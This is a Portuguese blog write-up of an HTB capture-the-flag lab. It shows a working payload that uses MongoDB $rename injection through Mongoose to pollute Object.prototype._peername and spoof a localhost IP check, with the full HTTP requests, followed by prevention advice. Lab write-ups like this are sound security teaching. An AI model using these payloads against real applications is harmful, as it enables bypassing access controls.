Voltar para a Home
Node.JsSQL InjectionMongoDB

Desafio HTB - Secure Notes

22 de agosto de 20264 minutos de leitura

A Linha de Raciocínio por Trás de um Bypass de IP via Prototype Pollution

O Cenário Inicial: Caixa-Branca e o Objetivo

Durante a resolução de um laboratório de segurança (CTF), nos foi disponibilizado o cenário clássico de teste caixa-branca (white-box): tínhamos acesso completo ao código-fonte da aplicação Node.js e seus arquivos de configuração.

Nosso objetivo era direto, porém desafiador: capturar a flag protegida por uma validação de IP na rota restrita /flag. Ter acesso ao código-fonte e ao arquivo package.json foi o fator decisivo para que pudéssemos cruzar a lógica de rede da aplicação com as dependências instaladas.


A Descoberta: O Alvo Protegido

Tudo começou com uma clássica barreira de entrada. Ao analisar as rotas da aplicação Express, encontramos o seguinte trecho de código protegendo a rota /flag:

javascript
app.get('/flag', (req, res) => {
    const remoteAddress = req.connection.remoteAddress;
    if (remoteAddress === '127.0.0.1' || remoteAddress === '::1' || remoteAddress === '::ffff:127.0.0.1') {
        res.send(process.env.FLAG ?? 'HTB{f4k3_fl4g_f0r_t3st1ng}');
    } else {
        res.status(403).json({ Message: 'Access denied' });
    }
});

A primeira pergunta que nos fizemos foi: Como podemos simular que a nossa requisição está partindo da própria máquina local (127.0.0.1), se a rede física nos identifica com o nosso IP externo real?


O Elo Fraco: Entrada Sem Sanitização

Procurando por caminhos para interagir com o sistema, analisamos a rota /update, responsável por atualizar notas no banco de dados MongoDB:

javascript
app.post('/update', async (req, res) => {
    try {
        const { noteId } = req.body;
        await Note.findByIdAndUpdate(noteId, req.body);
        let result = await Note.find({ _id: noteId });
        res.json(result);
    } catch (error) {
        console.error(error);
        res.status(500).json({ Message: "An error occurred" });
    }
});
Aviso de Segurança

O método findByIdAndUpdate recebe o objeto req.body inteiro. Isso significa que qualquer operador de banco de dados que enviarmos (como $set ou $rename) será executado cegamente pelo banco.

Ao inspecionar o arquivo package.json, notamos que o projeto utilizava o Mongoose na versão 7.2.4. Sabendo que o Mongoose interpreta caminhos complexos para mapear dados e possui um histórico de vulnerabilidades de atribuição de protótipo (Prototype Pollution), o que aconteceria se renomeássemos um campo do banco de dados para injetar propriedades especiais do JavaScript?


O Insight: A "Linha do Tempo" e o Protótipo do JS

Como o Mongoose e o Node.js compartilham o mesmo espaço de memória na mesma engine de execução do JavaScript (V8), qualquer alteração nos objetos base afeta todo o comportamento do servidor.

Lembramos que no JavaScript, a herança funciona de maneira dinâmica através de referências diretas (e não por cópias rígidas de classes). Cada objeto novo herda do ancestral comum de todos: o Object.prototype.

mermaid
graph TD
    Socket["Socket (Conexão do Usuário)"] --> netSocket["net.Socket.prototype"]
    netSocket --> ObjectProto["Object.prototype (O ancestral 'Adão e Eva')"]

Nossa linha de raciocínio lógico foi a seguinte:

  1. O Node.js precisa verificar o IP do cliente através do getter req.connection.remoteAddress.
  2. Para evitar consultar o sistema operacional a cada leitura, o Node.js lê um cache interno no socket chamado _peername.
  3. Se o cache _peername estiver definido, o Node.js confia nele e simplesmente lê _peername.address.
  4. Como _peername não é definido no socket na inicialização, a busca por essa propriedade sobe pela cadeia de protótipos até Object.prototype.
  5. Se conseguirmos usar a injeção NoSQL no Mongoose para poluir o Object.prototype._peername global com o valor { address: "127.0.0.1" }, todos os sockets criados a partir daí herdarão dinamicamente esse "DNA" alterado.

Executando o Plano de Ataque

Com o plano traçado, executamos o bypass em três etapas:

1. Criar o Objeto de Payload

Primeiro, criamos uma nota comum no banco de dados com a propriedade title contendo a string correspondente ao IP local que desejamos simular:

http
POST /create HTTP/1.1
Host: localhost:3000
Content-Type: application/json

{
  "title": "127.0.0.1",
  "content": "Payload Cache"
}

Esta requisição nos devolveu o ID da nota recém-criada.

2. Disparar a Poluição via $rename

Em seguida, enviamos uma atualização para a rota vulnerável. Usamos o operador $rename do MongoDB para renomear o campo title da nossa nota para "__proto__._peername.address".

http
POST /update HTTP/1.1
Host: localhost:3000
Content-Type: application/json

{
  "noteId": "ID_DA_NOTA_GERADA",
  "$rename": {
    "title": "__proto__._peername.address"
  }
}
Importante

Quando o Mongoose processou o retorno desta operação e tentou mapear a nova estrutura com o caminho "__proto__._peername.address", ele acessou o protótipo global de objetos, inicializou o objeto _peername e injetou a propriedade address com o valor de IP estático diretamente nele.

3. Capturando a Flag

Por fim, fizemos a requisição para a rota restrita /flag. O getter do Node.js leu req.connection._peername, encontrou o valor herdado do protótipo poluído e assumiu que a conexão pertencia ao localhost (127.0.0.1), liberando o acesso.

http
GET /flag HTTP/1.1
Host: localhost:3000

Como Prevenir?

Para blindar a aplicação contra esse cenário de manipulação de protótipo:

  • Validação de Entrada Estrita: Nunca passe objetos de requisição diretos para o banco de dados. Use esquemas com bibliotecas de validação rígidas (ex: Zod) para garantir que apenas chaves explícitas sejam permitidas.
  • Congelamento de Protótipo: Ao inicializar a aplicação Node.js, você pode desativar a mutação do protótipo chamando:
    javascript
    Object.freeze(Object.prototype);
    
    Isso garante que mesmo se uma biblioteca tentar injetar chaves em __proto__, a linha do tempo e o DNA global dos objetos estarão protegidos contra modificações.
Gostou do artigo? Compartilhe com sua equipe.